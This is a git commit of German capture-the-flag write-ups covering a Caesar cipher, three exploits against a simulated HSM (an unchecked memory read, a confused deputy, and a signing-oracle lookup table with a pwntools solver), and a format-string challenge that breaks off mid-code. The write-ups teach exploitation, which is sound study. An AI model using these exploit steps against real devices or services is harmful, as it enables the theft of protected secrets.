Added writeups
This commit is contained in:
72
de/brutus.md
Normal file
72
de/brutus.md
Normal file
@@ -0,0 +1,72 @@
|
||||
# Brutus
|
||||
|
||||
Salvete! Willkommen zum Write-up für Brutus. Dies ist eine klassische "Cry" (Kryptographie) Challenge, die eine der ältesten und berühmtesten Verschlüsselungstechniken einführt: die Caesar-Chiffre.
|
||||
|
||||
In dieser Challenge erhalten wir eine mysteriöse Nachricht und einige Python-Skripte. Das Ziel ist es, die Nachricht zu entschlüsseln, um die Flagge zu finden.
|
||||
|
||||
---
|
||||
|
||||
## 1. Erste Analyse
|
||||
|
||||
Wir bekommen einen kurzen lateinischen Satz und eine flaggenartige Zeichenkette präsentiert.
|
||||
|
||||
Der Satz "Ultimum scriptum arcanum a Caesare ad Brutum" übersetzt sich zu "Die letzte geheime Nachricht von Caesar an Brutus."
|
||||
|
||||
Die explizite Erwähnung von Caesar ist hier der primäre Hinweis. Im Kontext von Kryptographie-Challenges deutet dies fast immer auf die Caesar-Chiffre hin, eine der einfachsten und bekanntesten Substitutionschiffren.
|
||||
|
||||
## 2. Identifizierung der Verschiebung
|
||||
|
||||
Eine Caesar-Chiffre funktioniert, indem jeder Buchstabe im Alphabet um eine feste Anzahl von Positionen (den "Schlüssel") verschoben wird. Um sie zu lösen, müssen wir diese Zahl finden.
|
||||
|
||||
Wir können uns die Struktur des bereitgestellten Geheimtextes ansehen:
|
||||
{xdsy: Uswksj_Wl_Tjmlmk_Seaua_Xava}
|
||||
|
||||
Die meisten CTF-Challenges folgen einem Standard-Flaggenformat, wie z.B. {flag: ...} oder flag{...}.
|
||||
Es ist höchstwahrscheinlich, dass das Geheimtext-Präfix {xdsy: dem Klartext {flag: entspricht.
|
||||
|
||||
Vergleichen wir die Buchstaben, um die Verschiebung zu berechnen:
|
||||
|
||||
* x $\rightarrow$ f
|
||||
* d $\rightarrow$ l
|
||||
* s $\rightarrow$ a
|
||||
* y $\rightarrow$ g
|
||||
|
||||
Überprüfen wir den Abstand zwischen diesen Buchstaben im Alphabet:
|
||||
|
||||
1. x (24) zu f (6):
|
||||
* Um von X nach F zu kommen, gehen wir einmal um das Alphabet herum.
|
||||
* X $\rightarrow$ Y $\rightarrow$ Z $\rightarrow$ A $\rightarrow$ B $\rightarrow$ C $\rightarrow$ D $\rightarrow$ E $\rightarrow$ F
|
||||
* Das ist eine Verschiebung von +8.
|
||||
|
||||
2. d (4) zu l (12):
|
||||
* 4 + 8 = 12.
|
||||
* Das ist ebenfalls eine Verschiebung von +8.
|
||||
|
||||
Das Muster bestätigt, dass der Entschlüsselungsschlüssel eine Rechtsverschiebung von 8 (ROT+8) ist.
|
||||
|
||||
(Hinweis: Das bedeutet, die Nachricht wurde ursprünglich mit einer Linksverschiebung von 8 verschlüsselt).
|
||||
|
||||
## 3. Entschlüsselung
|
||||
|
||||
Nun wenden wir eine +8 Verschiebung auf den Rest des Geheimtextes an: Uswksj_Wl_Tjmlmk_Seaua_Xava
|
||||
|
||||
* U (+8) $\rightarrow$ C
|
||||
* s (+8) $\rightarrow$ a
|
||||
* w (+8) $\rightarrow$ e
|
||||
* k (+8) $\rightarrow$ s
|
||||
* s (+8) $\rightarrow$ a
|
||||
* j (+8) $\rightarrow$ r
|
||||
* ...und so weiter.
|
||||
|
||||
Sie können dies manuell durchführen oder ein Online-Tool wie CyberChef (mit "ROT13" und einer Anzahl von 8) oder dcode.fr verwenden.
|
||||
|
||||
Geheimtext: Uswksj_Wl_Tjmlmk_Seaua_Xava
|
||||
Klartext: Caesar_Et_Brutus_Amici_Fidi
|
||||
|
||||
## 4. Die Lösung
|
||||
|
||||
Kombinieren wir die Teile, erhalten wir die vollständige Flagge:
|
||||
|
||||
{flag: Caesar_Et_Brutus_Amici_Fidi}
|
||||
|
||||
("Caesar und Brutus treue Freunde" - eine etwas ironische Flagge angesichts der historischen Ereignisse!)
|
||||
174
de/cryptoracle_v1.md
Normal file
174
de/cryptoracle_v1.md
Normal file
@@ -0,0 +1,174 @@
|
||||
# CryptOracle v1
|
||||
|
||||
`CryptOracle v1` ist eine einführende Challenge in Kryptographie und Reverse Engineering, die ein Hardware-Sicherheitsmodul (HSM) simuliert. Das Ziel ist es, eine geheime Flagge abzurufen, die in einem "sicheren" Speicherbereich gespeichert ist, der angeblich vom Benutzer isoliert ist.
|
||||
|
||||
## Informationsbeschaffung
|
||||
|
||||
Wir erhalten ein `cryptOracle_v1.tar.xz` Archiv, das die `crypt_oracle_v1` Binärdatei enthält. Eine erste Analyse bestätigt, dass es sich um eine statisch gelinkte 64-Bit ELF ausführbare Datei handelt.
|
||||
|
||||
```bash
|
||||
$ file crypt_oracle_v1
|
||||
crypt_oracle_v1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ...
|
||||
```
|
||||
|
||||
Beim Verbinden mit dem Challenge-Server werden wir mit der folgenden Oberfläche begrüßt:
|
||||
|
||||
```
|
||||
CryptOracle v1.0
|
||||
Setting up memory...
|
||||
0x10000 - 0x11000 : Secure Memory (Keys/ROM)
|
||||
0x20000 - 0x28000 : User Memory
|
||||
Type 'help' for commands.
|
||||
```
|
||||
|
||||
Die Challenge-Beschreibung deutet an, dass sensible Schlüssel an der Adresse `0x10000` gespeichert sind.
|
||||
|
||||
## Reverse Engineering
|
||||
|
||||
Wir verwenden Ghidra, um die Binärdatei zu analysieren und zu verstehen, wie sie den Speicherzugriff verwaltet.
|
||||
|
||||
### 1. Hauptinteraktionsschleife (`main`)
|
||||
|
||||
Die `main`-Funktion initialisiert die HSM-Simulation und verarbeitet Benutzerbefehle.
|
||||
|
||||
```c
|
||||
undefined8 main(void)
|
||||
|
||||
{
|
||||
int iVar1;
|
||||
char *pcVar2;
|
||||
long in_FS_OFFSET;
|
||||
undefined4 local_428;
|
||||
undefined4 local_424;
|
||||
undefined4 local_420;
|
||||
undefined4 local_41c;
|
||||
char local_418 [512];
|
||||
undefined1 local_218 [520];
|
||||
long local_10;
|
||||
|
||||
local_10 = *(long *)(in_FS_OFFSET + 0x28);
|
||||
setvbuf((FILE *)stdout,(char *)0x0,2,0);
|
||||
puts("CryptOracle v1.0");
|
||||
setup_memory();
|
||||
puts("Type \'help\' for commands.");
|
||||
while( true ) {
|
||||
pcVar2 = fgets(local_418,0x200,(FILE *)stdin);
|
||||
if (pcVar2 == (char *)0x0) break;
|
||||
iVar1 = strncmp(local_418,"rm",2);
|
||||
if (iVar1 == 0) {
|
||||
iVar1 = __isoc99_sscanf(local_418,"rm 0x%x %d",&local_420,&local_41c);
|
||||
if (iVar1 == 2) {
|
||||
do_read(local_420,local_41c);
|
||||
}
|
||||
}
|
||||
// ... (andere Befehle) ...
|
||||
}
|
||||
// ...
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Der `rm`-Befehl nimmt eine hexadezimale Adresse und eine dezimale Größe entgegen und ruft dann die `do_read`-Funktion auf.
|
||||
|
||||
### 2. Speicherinitialisierung (`setup_memory`)
|
||||
|
||||
Die `setup_memory`-Funktion offenbart, wo die Flagge platziert wird.
|
||||
|
||||
```c
|
||||
void setup_memory(void)
|
||||
|
||||
{
|
||||
void *pvVar1;
|
||||
FILE *__stream;
|
||||
size_t sVar2;
|
||||
|
||||
puts("Setting up memory...");
|
||||
pvVar1 = mmap64((void *)0x10000,0x1000,3,0x32,-1,0);
|
||||
// ...
|
||||
pvVar1 = mmap64((void *)0x20000,0x8000,3,0x32,-1,0);
|
||||
// ...
|
||||
memset((void *)0x10000,0,0x1000);
|
||||
memset((void *)0x20000,0,0x8000);
|
||||
__stream = fopen64("flag.bin","rb");
|
||||
if (__stream != (FILE *)0x0) {
|
||||
sVar2 = fread((void *)0x10000,1,0x800,__stream);
|
||||
fclose(__stream);
|
||||
// ...
|
||||
return;
|
||||
}
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
Wir bestätigen, dass die Flagge aus `flag.bin` direkt in den "Secure Memory"-Bereich bei `0x10000` geladen wird.
|
||||
|
||||
### 3. Schwachstellenanalyse (`get_ptr`)
|
||||
|
||||
Die `do_read`-Funktion ruft einen Helfer namens `get_ptr` auf, um den Speicherzugriff zu validieren, bevor Daten gedruckt werden.
|
||||
|
||||
```c
|
||||
void do_read(undefined4 param_1,undefined4 param_2)
|
||||
|
||||
{
|
||||
long lVar1;
|
||||
|
||||
lVar1 = get_ptr(param_1,param_2,0);
|
||||
if (lVar1 == 0) {
|
||||
puts("ERR_ACCESS_VIOLATION");
|
||||
}
|
||||
else {
|
||||
print_hex(lVar1,param_2);
|
||||
}
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
Untersuchen wir nun die Logik in `get_ptr`:
|
||||
|
||||
```c
|
||||
uint get_ptr(uint param_1,int param_2,int param_3)
|
||||
|
||||
{
|
||||
// 1. Integer-Überlaufprüfung: Sicherstellen, dass Adresse + Größe nicht überläuft
|
||||
if (param_2 + param_1 < param_1) {
|
||||
param_1 = 0;
|
||||
}
|
||||
// 2. Bereichsvalidierung: Prüfen, ob der Zugriff innerhalb der gemappten Bereiche liegt
|
||||
else if ((param_1 < 0x10000) || (0x11000 < param_2 + param_1)) {
|
||||
// Wenn nicht im Secure Memory (0x10000-0x11000), prüfe User Memory (0x20000-0x28000)
|
||||
if ((param_1 < 0x20000) || (0x28000 < param_2 + param_1)) {
|
||||
param_1 = 0;
|
||||
}
|
||||
}
|
||||
// 3. Sicherheitsprüfung: Blockiere Zugriff auf den Flaggenbereich (0x10000 - 0x10800)
|
||||
// Dies wird NUR erzwungen, wenn param_3 (check_secure) ungleich Null ist
|
||||
else if ((param_3 != 0) && (param_1 - 0x10000 < 0x800)) {
|
||||
param_1 = 0;
|
||||
}
|
||||
return param_1;
|
||||
}
|
||||
```
|
||||
|
||||
Die Validierungslogik in `get_ptr` funktioniert wie folgt:
|
||||
1. **Integer-Überlauf**: Es wird geprüft, ob `size + addr` überläuft.
|
||||
2. **Bereichsvalidierung**: Es wird sichergestellt, dass der Zugriff innerhalb des Secure Memory (`0x10000-0x11000`) oder User Memory (`0x20000-0x28000`) liegt.
|
||||
3. **Sicherheitsbeschränkung**: Es wird explizit der Zugriff auf die ersten `0x800` Bytes des Secure Memory (wo die Flagge gespeichert ist) blockiert, **NUR WENN** `param_3` (das `check_secure`-Flag) ungleich Null ist.
|
||||
|
||||
Entscheidend ist, dass in der `do_read`-Funktion (die den `rm`-Befehl implementiert) das dritte Argument, das an `get_ptr` übergeben wird, **fest auf `0` gesetzt ist**. Das bedeutet, dass die spezifische Prüfung, die die geheimen Schlüssel schützt, umgangen wird, wenn der Befehl "read memory" verwendet wird.
|
||||
|
||||
## Lösung
|
||||
|
||||
Da der `rm`-Befehl die Isolationsprüfung in `get_ptr` umgeht, können wir das sichere RAM direkt dumpen.
|
||||
|
||||
1. Mit dem Server verbinden.
|
||||
2. Den Speicher an der Adresse `0x10000` lesen.
|
||||
|
||||
```bash
|
||||
> rm 0x10000 32
|
||||
00010000: 7b 66 6c 61 67 3a 20 74 68 61 74 5f 77 61 73 5f {flag: that_was_
|
||||
00010010: 74 6f 6f 5f 65 61 73 79 5f 72 69 67 68 74 3f 7d too_easy_right?}
|
||||
```
|
||||
|
||||
Die Flagge wird enthüllt: `{flag: that_was_too_easy_right?}`
|
||||
|
||||
```
|
||||
133
de/cryptoracle_v2.md
Normal file
133
de/cryptoracle_v2.md
Normal file
@@ -0,0 +1,133 @@
|
||||
# CryptOracle v2
|
||||
|
||||
`CryptOracle v2` ist die "gehärtete" Version des HSM-Simulators. Die Schwachstelle des direkten Speicherlesens aus v1 wurde behoben, aber eine neue "Kryptographische Engine" wurde hinzugefügt. Das Ziel ist dasselbe: den geheimen Schlüssel aus dem sicheren Speicherbereich bei `0x10000` zu dumpen.
|
||||
|
||||
## Informationsbeschaffung
|
||||
|
||||
Nachdem wir uns mit dem Server verbunden haben, sehen wir eine vertraute Oberfläche mit neuen Befehlen wie `enc` und `dec`.
|
||||
|
||||
```
|
||||
CryptOracle v2.0 (Hardened!)
|
||||
Setting up memory...
|
||||
0x10000 - 0x11000 : Secure Memory (Keys/ROM)
|
||||
0x20000 - 0x28000 : User Memory
|
||||
Type 'help' for commands.
|
||||
```
|
||||
|
||||
## Reverse Engineering
|
||||
|
||||
Wir öffnen die Binärdatei in Ghidra und überprüfen die Funktionen, die sich geändert haben.
|
||||
|
||||
### 1. Der Patch (`do_read`)
|
||||
|
||||
Die `do_read`-Funktion enthält jetzt eine explizite Prüfung, die jeden Versuch blockiert, von Adressen unterhalb des Benutzerspeicherbereichs zu lesen.
|
||||
|
||||
```c
|
||||
void do_read(uint32_t offset,uint32_t len)
|
||||
{
|
||||
uint8_t *data;
|
||||
|
||||
// Diese Prüfung verhindert, dass wir 0x10000 direkt lesen.
|
||||
if (offset < 0x20000) {
|
||||
puts("ERR_ACCESS_VIOLATION");
|
||||
}
|
||||
else {
|
||||
// ... (Rest der Funktion)
|
||||
}
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
Das einfache `rm 0x10000 32` aus v1 funktioniert nicht mehr.
|
||||
|
||||
### 2. Die Kryptographische Engine (`do_cipher`)
|
||||
|
||||
Da die Schwachstelle des direkten Lesens aus v1 gepatcht wurde, müssen wir nun andere Befehle als potenzielle Angriffsfläche untersuchen. Die Befehle `enc` und `dec`, die zuvor schon vorhanden waren, rücken nun in unseren Fokus. Sie werden von der `do_cipher`-Funktion behandelt. Sie ermöglicht das Verschlüsseln oder Entschlüsseln von Daten von einer Quelladresse zu einer Zieladresse unter Verwendung eines Schlüssels, der in einem sicheren "Slot" gespeichert ist.
|
||||
|
||||
```c
|
||||
void do_cipher(char mode, uint32_t src_off, uint32_t len, int slot, uint32_t dst_off)
|
||||
{
|
||||
// ...
|
||||
// Zeiger auf Quellpuffer abrufen (kann überall sein)
|
||||
src_ptr = get_ptr(src_off, len, 0);
|
||||
|
||||
// Zeiger auf Zielpuffer abrufen (muss beschreibbar sein)
|
||||
dst_ptr = get_ptr(dst_off, len, 1);
|
||||
|
||||
// Zeiger auf den Schlüssel aus einem sicheren Slot abrufen
|
||||
// Adresse wird berechnet als 0x10000 + slot * 32
|
||||
key_ptr = get_ptr((slot + 0x800) * 0x20, 0x20, 0);
|
||||
|
||||
if (/* alle Zeiger sind gültig */) {
|
||||
// ... führt AES-Verschlüsselung/-Entschlüsselung blockweise durch ...
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Die wichtigste Erkenntnis liegt darin, wie die Zeiger validiert werden, was alles innerhalb der `get_ptr`-Funktion geschieht.
|
||||
|
||||
### 3. Schwachstellenanalyse (`get_ptr`)
|
||||
|
||||
Hier ist die dekompilierte `get_ptr`-Funktion aus Ghidra. Sie nimmt einen Offset, eine Länge und ein Flag `is_write` entgegen, das `1` für Schreiboperationen und `0` für Leseoperationen ist.
|
||||
|
||||
```c
|
||||
uint8_t * get_ptr(uint32_t offset,uint32_t len,int is_write)
|
||||
|
||||
{
|
||||
uint8_t *puVar1;
|
||||
|
||||
if (len + offset < offset) {
|
||||
puVar1 = (uint8_t *)0x0;
|
||||
}
|
||||
else if ((offset < 0x10000) || (0x11000 < len + offset)) {
|
||||
if ((offset < 0x20000) || (0x28000 < len + offset)) {
|
||||
puVar1 = (uint8_t *)0x0;
|
||||
}
|
||||
else {
|
||||
puVar1 = (uint8_t *)(ulong)offset;
|
||||
}
|
||||
}
|
||||
else if ((is_write == 0) || (0x7ff < offset - 0x10000)) {
|
||||
puVar1 = (uint8_t *)(ulong)offset;
|
||||
}
|
||||
else {
|
||||
puVar1 = (uint8_t *)0x0;
|
||||
}
|
||||
return puVar1;
|
||||
}
|
||||
```
|
||||
|
||||
**Die Schwachstelle:**
|
||||
Die Logik im letzten `else if`-Block ist fehlerhaft. Verfolgen wir sie für eine Leseoperation (`is_write == 0`) im sicheren Flaggenbereich (`offset = 0x10000`).
|
||||
* Der Ausdruck ist `(is_write == 0) || (0x7ff < offset - 0x10000)`.
|
||||
* Da `is_write` `0` ist, ist der erste Teil des ODER `(0 == 0)` **wahr**.
|
||||
* Der gesamte Ausdruck wird `wahr`, und der Zugriff wird gewährt, wodurch ein gültiger Zeiger zurückgegeben wird.
|
||||
|
||||
Die Prüfung, die das Schreiben in die ersten 2KB des sicheren Speichers (`0x7ff < offset - 0x10000`) verhindern sollte, wird für jede Leseoperation vollständig umgangen. Die `do_cipher`-Funktion missbraucht dies, indem sie ein Lesen (`is_write=0`) auf der sicheren Flagge anfordert, was `get_ptr` erlaubt. Dies erzeugt ein **Confused Deputy**-Szenario, bei dem wir die legitimen Leseberechtigungen des Orakels nutzen, um Daten zu exfiltrieren.
|
||||
|
||||
## Lösung
|
||||
|
||||
Der Angriff ist ein zweistufiger Prozess:
|
||||
|
||||
1. **Verschlüsseln**: Verwenden Sie den `enc`-Befehl, um das Orakel anzuweisen, aus dem sicheren Flaggenbereich (`0x10000`) zu lesen und das verschlüsselte Ergebnis (Chiffretext) in den benutzerzugänglichen Speicher (`0x20000`) zu schreiben.
|
||||
2. **Entschlüsseln**: Verwenden Sie den `dec`-Befehl, um das Orakel anzuweisen, den Chiffretext aus dem Benutzerspeicher (`0x20000`) zu lesen und das entschlüsselte Ergebnis (Klartext) zurück an eine andere Stelle im Benutzerspeicher (`0x20100`) zu schreiben.
|
||||
3. **Lesen**: Verwenden Sie den jetzt reparierten `rm`-Befehl, um die Klartext-Flagge von `0x20100` zu lesen.
|
||||
|
||||
### Ausführung
|
||||
|
||||
```bash
|
||||
# Schritt 1: Verschlüsseln der Flagge aus dem sicheren Speicher in den Benutzerspeicher
|
||||
> enc 0x10000 32 30 0x20000
|
||||
OK
|
||||
|
||||
# Schritt 2: Entschlüsseln des Chiffretextes aus dem Benutzerspeicher an eine andere Stelle im Benutzerspeicher
|
||||
> dec 0x20000 32 30 0x20100
|
||||
OK
|
||||
|
||||
# Schritt 3: Lesen der Klartext-Flagge aus dem Benutzerspeicher
|
||||
> rm 0x20100 32
|
||||
00020100: 7b 66 6c 61 67 3a 20 73 65 6c 66 5f 65 6e 63 72 {flag: self_encr
|
||||
00020110: 79 70 74 69 6f 6e 5f 69 73 5f 6e 69 63 65 21 7d yption_is_nice!}
|
||||
```
|
||||
|
||||
Die Flagge wird enthüllt: `{flag: self_encryption_is_nice!}`
|
||||
195
de/cryptoracle_v3.md
Normal file
195
de/cryptoracle_v3.md
Normal file
@@ -0,0 +1,195 @@
|
||||
# CryptOracle v3
|
||||
|
||||
`CryptOracle v3` ist das "Gold Master" Release des HSM-Simulators. Die Schwachstellen aus v1 (direktes Lesen) und v2 (Confused Deputy) wurden gepatcht. Die Herausforderung besteht darin, die neue Schwachstelle in den kryptographischen Funktionen zu finden, um die geheime Flagge zu dumpen.
|
||||
|
||||
## Informationsbeschaffung
|
||||
|
||||
Nachdem wir uns mit dem Server verbunden haben, sehen wir eine vertraute Oberfläche:
|
||||
|
||||
```
|
||||
CryptOracle v3.0 (Bullet proof!)
|
||||
...
|
||||
Type 'help' for commands.
|
||||
```
|
||||
|
||||
Die Binärdatei ist nicht gestrippt, was unsere Analyse in Ghidra erleichtert.
|
||||
|
||||
## Reverse Engineering
|
||||
|
||||
### 1. Die Patches
|
||||
|
||||
Zuerst überprüfen wir die Fixes.
|
||||
- **`do_read`**: Hat immer noch die Prüfung `if (offset < 0x20000)`, die direkte Lesevorgänge im sicheren Speicher blockiert.
|
||||
- **`get_ptr`**: Hat jetzt ein viertes Argument `is_privileged`. Wir stellen fest, dass `do_cipher` (für `enc` und `dec`) `get_ptr` mit `is_privileged=0` aufruft, was bedeutet, dass es überhaupt nicht mehr auf sicheren Speicher zugreifen kann. Der Confused Deputy Angriff ist behoben.
|
||||
|
||||
### 2. Die neue Angriffsfläche (`do_sign`)
|
||||
|
||||
Die Challenge-Beschreibung deutet an, dass der `sig`-Befehl unser neuer Fokus ist. Die `do_sign`-Funktion wird aufgerufen, und im Gegensatz zu `do_cipher` ist sie privilegiert.
|
||||
|
||||
```c
|
||||
/* Dekompilierte do_sign Funktion */
|
||||
void do_sign(uint32_t src_off, uint32_t len, int slot, uint32_t dst_off)
|
||||
{
|
||||
long lVar1;
|
||||
uint8_t *src_ptr;
|
||||
uint8_t *dst_ptr;
|
||||
uint8_t *key_ptr;
|
||||
AES_KEY k;
|
||||
uint8_t block [16]; // Ein 16-Byte-Puffer auf dem Stack
|
||||
|
||||
// Alle Zeiger werden mit privilegiertem Zugriff angefordert (letztes Argument ist 1)
|
||||
src_ptr = get_ptr(src_off, len, 0, 1);
|
||||
dst_ptr = get_ptr(dst_off, 0x10, 1, 1);
|
||||
key_ptr = get_ptr((slot + 0x800) * 0x20, 0x20, 0, 1);
|
||||
|
||||
if (/* Zeiger sind gültig */) {
|
||||
AES_set_encrypt_key(key_ptr, 0x80, &k);
|
||||
|
||||
// Der Stack-Puffer wird ausgenullt
|
||||
memset(block, 0, 0x10);
|
||||
|
||||
// Die Eingabelänge wird auf 16 Byte begrenzt
|
||||
if (0x10 < len) {
|
||||
len = 0x10;
|
||||
}
|
||||
|
||||
// Die (bis zu) 16 Bytes von der Quelle werden in den Block kopiert
|
||||
memcpy(block, src_ptr, (ulong)len);
|
||||
|
||||
// Der Block wird verschlüsselt und an das Ziel geschrieben
|
||||
AES_encrypt(block, dst_ptr, &k);
|
||||
puts("OK");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Wichtige Erkenntnisse aus `do_sign`:
|
||||
1. **Privilegiert**: Sie kann von überall lesen, einschließlich der geheimen Flagge bei `0x10000`.
|
||||
2. **Deterministisch**: Das "Signieren" ist einfach eine AES-ECB-Verschlüsselung. Für einen gegebenen Schlüssel und einen gegebenen Eingabeblock ist die Ausgabe immer gleich.
|
||||
3. **Padding**: Die Funktion nimmt bis zu 16 Bytes Eingabe, kopiert sie in einen mit Nullen aufgefüllten 16-Byte-Block und verschlüsselt dann den Block. Das ist entscheidend: `sig` auf einem einzelnen Byte `X` ist effektiv `Enc(Key, [X, 0, 0, ...])`.
|
||||
|
||||
### 3. Die Schwachstelle: Deterministisches Orakel
|
||||
|
||||
Da das Signieren deterministisch ist, können wir es als **Verschlüsselungsorakel** verwenden. Wir können es bitten, beliebige Daten, die wir wollen, mit einem der Hauptschlüssel (z.B. Slot 0) zu "signieren" (verschlüsseln). Wenn wir jedes mögliche Byte von 0-255 verschlüsseln, können wir eine Lookup-Tabelle erstellen, die das ursprüngliche Byte auf seine Signatur abbildet.
|
||||
|
||||
Dies ermöglicht einen klassischen **Rainbow Table** Angriff.
|
||||
|
||||
## Lösung
|
||||
|
||||
Der Angriff besteht aus zwei Phasen:
|
||||
|
||||
1. **Erstellen einer Rainbow Table**:
|
||||
* Iteriere durch alle 256 möglichen Bytewerte.
|
||||
* Schreibe jedes Byte in den Benutzerspeicher (z.B. `0x20000`).
|
||||
* Verwende den `sig`-Befehl mit einem Hauptschlüssel (Slot 0), um dieses einzelne Byte zu verschlüsseln.
|
||||
* Lies die 16-Byte-Signatur aus dem Ausgabepuffer.
|
||||
* Speichere die Zuordnung `Signatur -> Byte`.
|
||||
|
||||
2. **Dumpen des sicheren Speichers**:
|
||||
* Iteriere durch die Adressen der geheimen Flagge (`0x10000`, `0x10001`, usw.).
|
||||
* Verwende für jede Adresse den `sig`-Befehl, um die Signatur des einzelnen geheimen Bytes an dieser Adresse zu erhalten.
|
||||
* Suche die resultierende Signatur in unserer Rainbow Table, um das ursprüngliche geheime Byte zu finden.
|
||||
|
||||
### Schritt-für-Schritt-Ausführung
|
||||
|
||||
Hier ist, wie wir das Lookup für das erste Byte der Flagge manuell durchführen würden.
|
||||
|
||||
**1. Tabelle für ein bekanntes Byte erstellen, z.B. 'A' (0x41)**
|
||||
```bash
|
||||
# Schreibe 'A' in den Benutzerspeicher
|
||||
> wm 0x20000 1 41
|
||||
OK
|
||||
|
||||
# Signiere dieses Byte mit dem Hauptschlüssel in Slot 0
|
||||
> sig 0x20000 1 0 0x20100
|
||||
OK
|
||||
|
||||
# Lies die Signatur
|
||||
> rm 0x20100 16
|
||||
00020100: d85de6195410...
|
||||
```
|
||||
Jetzt wissen wir, dass die Signatur `d85de6...` dem Klartext-Byte `A` entspricht. Wir wiederholen dies für alle 256 Bytes.
|
||||
|
||||
**2. Signatur des ersten geheimen Bytes abrufen**
|
||||
```bash
|
||||
# Signiere das Byte am Anfang des sicheren Bereichs
|
||||
> sig 0x10000 1 0 0x20100
|
||||
OK
|
||||
|
||||
# Lies seine Signatur
|
||||
> rm 0x20100 16
|
||||
00020100: 555c441c2...
|
||||
```
|
||||
|
||||
**3. Nachschlagen und wiederholen**
|
||||
Wir finden heraus, welches Klartext-Byte der Signatur `555c44...` in unserer vorgefertigten Tabelle entspricht. Dies enthüllt das erste Byte der Flagge. Wir wiederholen dies für alle 32 Bytes, um die gesamte Flagge zu dumpen.
|
||||
|
||||
### Finales Solver-Skript
|
||||
|
||||
Das `solve.py` Skript automatisiert diesen gesamten Prozess.
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
import sys
|
||||
|
||||
# --- Konfiguration ---
|
||||
HOST = '127.0.0.1'
|
||||
PORT = 1339
|
||||
|
||||
# Speicherkarte
|
||||
SECRET_BASE = 0x10000
|
||||
USER_BASE = 0x20000
|
||||
USER_SCRATCH = USER_BASE + 0x200
|
||||
|
||||
def solve():
|
||||
io = remote(HOST, PORT)
|
||||
io.recvuntil(b"Type 'help' for commands.
|
||||
")
|
||||
log.info(f"Connected. dumping memory from 0x{SECRET_BASE:x}...")
|
||||
|
||||
# --- Phase 1: Rainbow Table erstellen (0x00 - 0xFF) ---
|
||||
log.info("Phase 1: Building Rainbow Table...")
|
||||
rainbow_table = {}
|
||||
prog = log.progress("Mapping")
|
||||
|
||||
for b in range(256):
|
||||
byte_hex = f"{b:02x}"
|
||||
io.sendline(f"wm 0x{USER_BASE:x} 1 {byte_hex}".encode())
|
||||
io.recvuntil(b"OK\n")
|
||||
io.sendline(f"sig 0x{USER_BASE:x} 1 0 0x{USER_SCRATCH:x}".encode())
|
||||
io.recvuntil(b"OK\n")
|
||||
io.sendline(f"rm 0x{USER_SCRATCH:x} 16".encode())
|
||||
signature = io.recvline().strip().decode()
|
||||
rainbow_table[signature] = b
|
||||
if b % 16 == 0: prog.status(f"{b}/255")
|
||||
prog.success(f"Done. ({len(rainbow_table)} entries)")
|
||||
|
||||
# --- Phase 2: Sicheren Speicher dumpen ---
|
||||
log.info("Phase 2: Dumping first 32 bytes of Secure Memory...")
|
||||
dumped_bytes = []
|
||||
for i in range(32):
|
||||
target_addr = SECRET_BASE + i
|
||||
io.sendline(f"sig 0x{target_addr:x} 1 0 0x{USER_SCRATCH:x}".encode())
|
||||
io.recvuntil(b"OK\n")
|
||||
io.sendline(f"rm 0x{USER_SCRATCH:x} 16".encode())
|
||||
secret_sig = io.recvline().strip().decode()
|
||||
|
||||
if secret_sig in rainbow_table:
|
||||
val = rainbow_table[secret_sig]
|
||||
dumped_bytes.append(val)
|
||||
else:
|
||||
dumped_bytes.append(0)
|
||||
|
||||
# ASCII-Darstellung drucken
|
||||
ascii_repr = "".join([chr(b) if 32 <= b <= 126 else '.' for b in dumped_bytes])
|
||||
log.success(f"Flag: {ascii_repr}")
|
||||
|
||||
io.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
solve()
|
||||
|
||||
```
|
||||
|
||||
Das Ausführen des Skripts liefert die Flagge:
|
||||
`{flag: self_encryption_is_nice!}`
|
||||
104
de/echo_chamber.md
Normal file
104
de/echo_chamber.md
Normal file
@@ -0,0 +1,104 @@
|
||||
# Echo Chamber
|
||||
|
||||
Hallo! Willkommen zum Write-up für **Echo Chamber**. Dies ist eine klassische "pwn"-Challenge, die eine sehr verbreitete, aber mächtige Schwachstelle demonstriert: die **Format-String-Schwachstelle**.
|
||||
|
||||
In dieser Challenge erhalten wir ein kompiliertes Binary. Wenn wir den ursprünglichen Quellcode nicht haben, verwenden wir Tools wie **Ghidra**, um das Binary zu dekompilieren und zu sehen, was das Programm "unter der Haube" macht.
|
||||
|
||||
---
|
||||
|
||||
## 1. Erste Erkundung (Reconnaissance)
|
||||
|
||||
Wenn wir das Programm ausführen, bittet es um eine Eingabe und gibt sie "echoförmig" zurück:
|
||||
|
||||
```text
|
||||
Welcome to the Echo Chamber!
|
||||
Give me a phrase, and I will shout it back: Hello!
|
||||
You said: Hello!
|
||||
```
|
||||
|
||||
Die Beschreibung des Entwicklers gibt uns einen Hinweis:
|
||||
> "Der Entwickler behauptet, es sei vollkommen sicher, weil 'es keinen Code ausführt, sondern nur Text druckt'."
|
||||
|
||||
Dies ist eine klassische "Berühmte letzte Worte"-Situation in der IT-Sicherheit! Schauen wir uns den dekompilierten Code an, um zu verstehen, warum.
|
||||
|
||||
## 2. Analyse des dekompilierten Codes (Ghidra)
|
||||
|
||||
Beim Öffnen des Binarys in Ghidra finden wir die Funktion `vuln()`. Hier ist der Pseudocode, den wir erhalten:
|
||||
|
||||
```c
|
||||
void vuln(void)
|
||||
{
|
||||
char acStack_a0 [64]; // Unser Eingabepuffer
|
||||
char local_60 [72]; // Hier wird das Flag gespeichert
|
||||
FILE *local_18;
|
||||
|
||||
local_18 = fopen64("flag.txt","r");
|
||||
if (local_18 == (FILE *)0x0) {
|
||||
puts("Flag file is missing!");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
// 1. Das Flag wird in local_60 eingelesen
|
||||
fgets(local_60,0x40,local_18);
|
||||
fclose(local_18);
|
||||
|
||||
puts("Welcome to the Echo Chamber!");
|
||||
printf("Give me a phrase, and I will shout it back: ");
|
||||
|
||||
// 2. Unsere Eingabe wird in acStack_a0 eingelesen
|
||||
fgets(acStack_a0,0x40,(FILE *)stdin);
|
||||
|
||||
printf("You said: ");
|
